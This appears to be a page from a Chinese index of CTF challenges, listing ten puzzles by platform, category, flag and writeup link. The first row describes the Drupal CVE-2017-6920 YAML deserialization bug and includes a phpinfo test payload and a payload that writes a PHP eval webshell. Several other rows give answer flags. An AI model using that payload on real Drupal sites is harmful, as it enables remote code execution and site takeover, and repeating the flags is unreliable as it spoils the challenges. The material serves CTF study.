[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | 春秋云境 | WEB | CVE-2017-6920 | Drupal版本小于8.3.4时，可通过在后台配置导入处提交YAML反序列化Payload实现远程代码执行。典型的验证Payload为：!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"，导入后执行phpinfo函数即证明漏洞存在 1。在CTF题目中，常利用该反序列化链写入Webshell，例如使用自定义类：!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"<?php eval($_POST [1](@ref));?>";}。 | https://www.cnblogs.com/J1eula/p/1769... | 春秋云境 | 14748 |
| 2 | ctfshow | _萌新 | 萌新 隐写4 | flag{word_stega} | https://blog.51cto.com/u_16521755/9270151 | - | 3012 |
| 3 | NSSCTF | RLWE | [watevrCTF 2019]Baby RLWE | watevr{rlwe_and_statistics_are_very_trivial_when_you_reuse_same_private_keys#02849jedjdjdj202ie9395u6ky} | https://www.codeleading.com/article/3... | watevrCTF | 12372 |
| 4 | bugku | MISC | 这是一张单纯的图片 | key{you are right} | https://blog.csdn.net/weixin_46578840... | bugku | 66 |
| 5 | BUUCTF | Pwn | wustctf2020_getshell_2 | 无 | https://blog.csdn.net/mcmuyanga/artic... | - | 8752 |
| 6 | NSSCTF | UAF | [CISCN 2022 华东北]duck | 无 | https://blog.csdn.net/m0_46329041/art... | CISCN | 11270 |
| 7 | NSSCTF | Crypto | [miniLCTF 2022]DoubleS | 无 | https://d33b4t0.com/Official_Writeups... | miniLCTF | 13121 |
| 8 | BUUCTF | Reverse | HellScream | flag{1234567890ABCDEF12345} | https://blog.csdn.net/m0_46296905/art... | - | 8313 |
| 9 | NSSCTF | shellcode | [HNCTF 2022 Week1]safe_shellcode | 无 | https://blog.csdn.net/Xzzzz911/articl... | HNCTF | 10637 |
| 10 | bugku | PWN | babytcache | 无 | https://repw.github.io/2018/12/02/NCT... | NCTF2018 | 834 |